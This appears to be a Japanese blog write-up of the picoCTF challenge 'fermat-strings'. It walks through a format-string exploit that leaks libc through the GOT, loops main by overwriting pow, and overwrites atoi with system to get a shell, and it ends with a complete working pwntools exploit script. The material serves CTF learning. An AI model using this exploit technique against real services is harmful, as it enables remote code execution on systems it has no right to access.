Logo

picoCTF fermat-strings writeup

picoCTF の練習問題 fermat-strings を解いたのでその備忘録

Last Modified: 2025/10/19



はじめに

解き方は以下のブログを参考に解いた。このブログなしでは解けなかったと思う。

コードが少し違うところがあるけど、解き方はほぼ同じです。

問題のコード

#define SIZE 0x100

int main(void) {
  char A[SIZE];
  char B[SIZE];

  int a = 0;
  int b = 0;

  puts("Welcome to Fermat\\'s Last Theorem as a service");

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  printf("A: ");
  read(0, A, SIZE);
  printf("B: ");
  read(0, B, SIZE);

  A[strcspn(A, "\n")] = 0;
  B[strcspn(B, "\n")] = 0;

  a = atoi(A);
  b = atoi(B);

  if (a == 0 || b == 0) {
    puts("Error: could not parse numbers!");
    return 1;
  }

  char buffer[SIZE];
  snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B);
  printf(buffer);

  int answer = -1;
  for (int i = 0; i < 100; i++) {
    if (pow(a, 3) + pow(b, 3) == pow(i, 3)) {
      answer = i;
    }
  }

  if (answer != -1)
    printf("Found the answer: %d\n", answer);
}

初期調査

コードを読んだ感じフェルマーの最終定理を解こうとしている。もちろん解けないので pow 関数が出てくるところは無視。

それ以前のところで format string attack ができる。

A, B を atoi 関数で数値 (a, b) に変換しているが、最後の printf では A,B を使っている。

atoi では文字列の最初が数字なら問題ないので数字の後に %p などの書式文字を入れれば攻撃できる。

セキュリティ機構は以下のような感じ

> checksec --file=chall
[*] '/home/fedora/CTF/picoCTF/practice/format-strings/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

format string attack のオフセット計算

まずは、オフセットを計算する。

from pwn import *

p = process("./chall")

p.sendlineafter(b"A: ", b"1234567.ABCDEFGH")
payload = b"1." + b"AAAA%9$p,%10$p,%11$p"
p.sendlineafter(b"B: ", payload)

output = p.recvline()
print(output)
$ python3 tmp.py
[+] Starting local process './chall': pid 3292701
b'Calculating for A: 1234567.ABCDEFGH and B: 1.AAAA0x10012d687,0x2e37363534333231,0x4847464544434241\n'

上記より、オフセット 11 のところに A の内容が入っていることがわかる。

では次に %11$n をした時に何バイト書き込まれるか確認する。

これはペイロードを作る際に後々必要になる。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

p = process("./chall")
elf = ELF("./chall")
bss = elf.bss()

gdb_script = """
b pow
continue
x/w {}
""".format(hex(bss))

gdb.attach(p, gdbscript=gdb_script)
payload_a = b"1234567." + p64(bss)
p.sendlineafter(b"A: ", payload_a)
payload_b = b"1." + b"%11$n"
p.sendlineafter(b"B: ", payload_b)

p.interactive()

このプログラムでは、適当な場所 (bss section) に %11$n の内容、つまり、それまでのバイト数が書き込まれる。

実行すると別ペインが開いて gdb_script が実行される。

0x601080 <stdout@@GLIBC_2.2.5>: 0x00000028

0x28 (40バイト) 書き込まれたことがわかる。

payload_b では %11$n の前に “1.” があるので payload_b の前には 0x26 (38バイト) 存在することがわかる。

これで任意のアドレスに任意のデータを書き込むことができた。

これを使い、GOT エントリを system 関数に置き換えてシェルを奪取することを目標にする。

system 関数のアドレスリーク

まず、system 関数のアドレスを取得しなければならず、そのために Glibc のベースアドレスを取得する必要がある。

これは単に、GOT 内の関数のアドレスを読み出し、その関数のオフセット分引けばよい。

例えば puts 関数を例にとると、GOT entry の 0x601018 に pow 関数のアドレス: 0x7ffff7d31380 が入っていることがわかる。

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/fedora/CTF/picoCTF/practice/format-strings/chall:
GOT protection: Partial RELRO | Found 9 GOT entries passing the filter
[0x601018] puts@GLIBC_2.2.5 -> 0x7ffff7d31380 (puts) ◂— endbr64
[0x601020] __stack_chk_fail@GLIBC_2.4 -> 0x4006d6 (__stack_chk_fail@plt+6) ◂— push 1
[0x601028] setbuf@GLIBC_2.2.5 -> 0x7ffff7d38eb0 (setbuf) ◂— endbr64
[0x601030] printf@GLIBC_2.2.5 -> 0x7ffff7d09040 (printf) ◂— endbr64
[0x601038] snprintf@GLIBC_2.2.5 -> 0x7ffff7d0f110 (snprintf) ◂— endbr64
[0x601040] pow@GLIBC_2.2.5 -> 0x7ffff7ecaf10 (pow) ◂— endbr64
[0x601048] strcspn@GLIBC_2.2.5 -> 0x7ffff7e39640 (__strcspn_sse42) ◂— endbr64
[0x601050] read@GLIBC_2.2.5 -> 0x7ffff7dbb7e0 (read) ◂— endbr64
[0x601058] atoi@GLIBC_2.2.5 -> 0x7ffff7cee470 (atoi) ◂— endbr64

そして、0x601018 の値は毎回同じだけど 0x7ffff7d31380 の値は毎回変わる。

そのため、0x601018 が指すアドレスを毎回取得する必要があり、0x601018 が指すアドレスは %s 書式で表示することができる。

つまり、以下のようなコードで表示できる。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
p = process("./chall")

puts_got = 0x601018

payload_a = b"1234567." + p64(puts_got)
p.sendlineafter(b"A: ", payload_a)
payload_b = b"1." + b"%11$s"
p.sendlineafter(b"B: ", payload_b)

puts_addr = u64(p.recvline().split(b"B: 1.")[1].strip().ljust(8, b"\0"))
print(hex(puts_addr))
$ python3 leak_base.py
[+] Starting local process './chall': pid 3330852
0x7fa47e361380
[*] Process './chall' stopped with exit code 0 (pid 3330852)

そして、puts 関数のオフセットは以下より、0x05e380 であることがわかる。

$ ldd chall
        linux-vdso.so.1 (0x00007f0ff2ecf000)
        libm.so.6 => /lib64/libm.so.6 (0x00007f0ff2dcf000)
        libc.so.6 => /lib64/libc.so.6 (0x00007f0ff2bdd000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0ff2ed1000)
$ readelf -a /lib64/libc.so.6 | grep puts
   236: 000000000005e380   558 FUNC    WEAK   DEFAULT    4 puts@@GLIBC_2.2.5

また、system 関数のオフセットは 0x02f1e0 とわかる。

$ readelf -a /lib64/libc.so.6 | grep system
  1054: 000000000002f1e0    45 FUNC    WEAK   DEFAULT    4 system@@GLIBC_2.2.5

これらの情報から system 関数のアドレスが求まる。

puts_addr = u64(p.recvline().split(b"B: 1.")[1].strip().ljust(8, b"\0"))

puts_offset = 0x05e380
system_offset = 0x02f1e0

system_addr = puts_addr - puts_offset + system_offset

print("system() address", hex(system_addr))
$ python3 leak_base.py
[+] Starting local process './chall': pid 3331196
system() address 0x7f69344d01e0
[*] Process './chall' stopped with exit code 0 (pid 3331196)

GOT overwrite

この system 関数のアドレスを GOT entry に書き込んで呼び出せばよい。

ただ、puts 関数のアドレスをリークさせるために format string 攻撃をしてしまっているので (つまり、これでプログラムが終了してしまう)、system 関数のアドレスを書き込むことができない。

これを解決するために何回も main 関数を呼び出すようにして、ループを発生させる。

つまり、プログラムの最後の方で呼ばれる pow 関数を main 関数にしてしまえば意図的にループを作り出すことができる。

これを実装したのが以下

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

p = process("./chall")

puts_got = 0x601018
pow_got = 0x601040
main_addr = 0x400837

payload_a = b"1234567." + p64(pow_got)
p.sendlineafter(b"A: ", payload_a)

offset_byte = main_addr  - 0x28
payload_b = b"1." + f"%{offset_byte}c".encode() + b"%11$n"
p.sendlineafter(b"B: ", payload_b)
p.recvline()

print("Changed pow() to main()")

payload_a = b"1234567." + p64(puts_got)
p.sendlineafter(b"A: ", payload_a)
payload_b = b"1." + b"%11$s"
p.sendlineafter(b"B: ", payload_b)

puts_addr = u64(p.recvline().split(b"B: 1.")[1].strip().ljust(8, b"\0"))

puts_offset = 0x05e380
system_offset = 0x02f1e0

system_addr = puts_addr - puts_offset + system_offset

print("system() address", hex(system_addr))

pow 関数の GOT entry (0x601040) を main 関数 (0x400837) に置き換えるために先ほど示したように main 関数から 0x28 バイト引いた値を %11$n で書き込んでいる。

これで main 関数を繰り返し実行できるようになったので何回でも format string 攻撃ができるようになった。

$ python3 loop_main.py
[+] Starting local process './chall': pid 3333099
Changed pow() to main()
system() address 0x7f818b3ce1e0
[*] Stopped process './chall' (pid 3333099)

ということで、system 関数のアドレスを GOT overwrite する。

atoi 関数を system 関数に置き換えてみる。

しかし、以下のようなコードを書いてみたが、うまくいかない…

payload_a = b"1234567." + p64(atoi_got)
p.sendlineafter(b"A: ", payload_a)

offset_byte = (system_addr  - 0x28) & 0xffffffff
payload_b = b"1." + f"%{offset_byte}c".encode() + b"%11$n"
p.sendlineafter(b"B: ", payload_b)
p.recvline()
$ python3 loop_main.py
[+] Starting local process './chall': pid 3338392
Changed pow() to main()
puts() address 0x7f55e54e8380
system() address 0x7f55e54b91e0
[*] Switching to interactive mode
A: $ /bin/bash
B: $
Error: could not parse numbers!
Welcome to Fermat\'s Last Theorem as a service
A: $ ls
B: $
Error: could not parse numbers!
Welcome to Fermat\'s Last Theorem as a service
A: $ /bin/bash
B: $ ls

どうやら system 関数のアドレスを入力するにはバイト数が多すぎて書き込むことができなかった様子

そこで 2 バイトずつ書き込むことにする。

%n の代わりに $hn を使えば 2 バイト分書き込むことができる。

ペイロードは以下のような感じ

payload_a = b"1234567." + p64(atoi_got) + p64(atoi_got + 2)
p.sendlineafter(b"A: ", payload_a)

offset_byte = ((system_addr & 0xffff)  - 0x28) % 0xffff
payload_b = b"1." + f"%{offset_byte}c".encode() + b"%11$hn"
offset_byte = (((system_addr >> 16) - (offset_byte + 0x28)) & 0xffff) % 0xffff
payload_b += f"%{offset_byte}c".encode() + b"%12$hn"

payload_b で atoi_got, atoi_got+2 それぞれ 2 バイトずつ書き込んでいる。

最初の 2 バイトは system_addr の下位 2 バイトを取り出している。 0x28 を引いたときにマイナスになってしまった場合を考慮して 0xffff との余りを計算している。

次の 2 バイトは system_addr を 2 バイト分右にシフトし、下位 2 バイトを取っている。 しかし、これを書き込む前に右シフトする前の system_addr の下位 2 バイト分既に書き込まれているのでこのバイト分引かなければいけない。

ここでもマイナスになってしまう可能性があるので 0xffff との余りを計算している。

これを実行すると shell が取れた。

> python3 loop_main.py
[+] Starting local process './chall': pid 3344900
Changed pow() to main()
puts() address 0x7fb6af6e1380
system() address 0x7fb6af6b21e0
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $ /bin/bash
B: $
$ date
Sun Oct 19 01:36:39 AM UTC 2025

Glibc バージョンの特定

ローカル環境では成功するものの、本番用のサーバーへ実行するとうまくいかない

$ python3 loop_main.py mars.picoctf.net 31929
[+] Opening connection to mars.picoctf.net on port 31929: Done
Changed pow() to main()
puts() address 0x7fc4967015a0
system() address 0x7fc4966d2400
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $ /bin/bash
B: $ ls
[*] Got EOF while reading in interactive
$
$ ls
[*] Closed connection to mars.picoctf.net port 31929
[*] Got EOF while sending in interactive

恐らく、使用している glibc のバージョンが異なるためにアドレスが間違って計算されてしまっている。

そこで以下のサイトを使って glibc のバージョンを調べる。以下のサイトでは 2 つ以上の関数のアドレスを入力すればその情報から該当するバージョンを探しくれる。

https://libc.blukat.me/

現在、puts 関数のアドレスはわかっているので、もう一つ、atoi 関数のアドレスを表示させて、検索すると libc6_2.31-0ubuntu7_amd64 らしい。

この glibc の情報 から puts 関数、system 関数のオフセットを確認して変更。

> python3 loop_main.py mars.picoctf.net 31929
[+] Opening connection to mars.picoctf.net on port 31929: Done
Changed pow() to main()
puts() address 0x7f5a861a55a0
atoi() address 0x7f5a86165730
system() address 0x7f5a86173410
[*] Switching to interactive mode
Welcome to Fermat\'s Last Theorem as a service
A: $ /bin/bash
B: $
$ ls
flag.txt
run
$ cat flag.txt
picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}
$

フラグゲット!

Exploit Code

最終的なコードは以下

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

if len(sys.argv) == 1:
    p = process("./chall")
else:
    p = remote(sys.argv[1], sys.argv[2])

puts_got = 0x601018
pow_got = 0x601040
main_addr = 0x400837
atoi_got = 0x601058

payload_a = b"1234567." + p64(pow_got)
p.sendlineafter(b"A: ", payload_a)

offset_byte = main_addr  - 0x28
payload_b = b"1." + f"%{offset_byte}c".encode() + b"%11$n"
p.sendlineafter(b"B: ", payload_b)
p.recvline()

print("Changed pow() to main()")

payload_a = b"1234567." + p64(puts_got)
p.sendlineafter(b"A: ", payload_a)
payload_b = b"1." + b"%11$s"
p.sendlineafter(b"B: ", payload_b)

puts_addr = u64(p.recvline().split(b"B: 1.")[1].strip().ljust(8, b"\0"))

print("puts() address", hex(puts_addr))

payload_a = b"1234567." + p64(atoi_got)
p.sendlineafter(b"A: ", payload_a)
payload_b = b"1." + b"%11$s"
p.sendlineafter(b"B: ", payload_b)

atoi_addr = u64(p.recvline().split(b"B: 1.")[1].strip().ljust(8, b"\0"))

print("atoi() address", hex(atoi_addr))

#puts_offset = 0x05e380
#system_offset = 0x02f1e0
puts_offset = 0x0875a0
system_offset = 0x055410

system_addr = puts_addr - puts_offset + system_offset

print("system() address", hex(system_addr))

payload_a = b"1234567." + p64(atoi_got) + p64(atoi_got + 2)
p.sendlineafter(b"A: ", payload_a)

offset_byte = ((system_addr & 0xffff)  - 0x28) % 0xffff
payload_b = b"1." + f"%{offset_byte}c".encode() + b"%11$hn"
offset_byte = (((system_addr >> 16) - (offset_byte + 0x28)) & 0xffff) % 0xffff
payload_b += f"%{offset_byte}c".encode() + b"%12$hn"

p.sendlineafter(b"B: ", payload_b)
p.recvline()

p.interactive()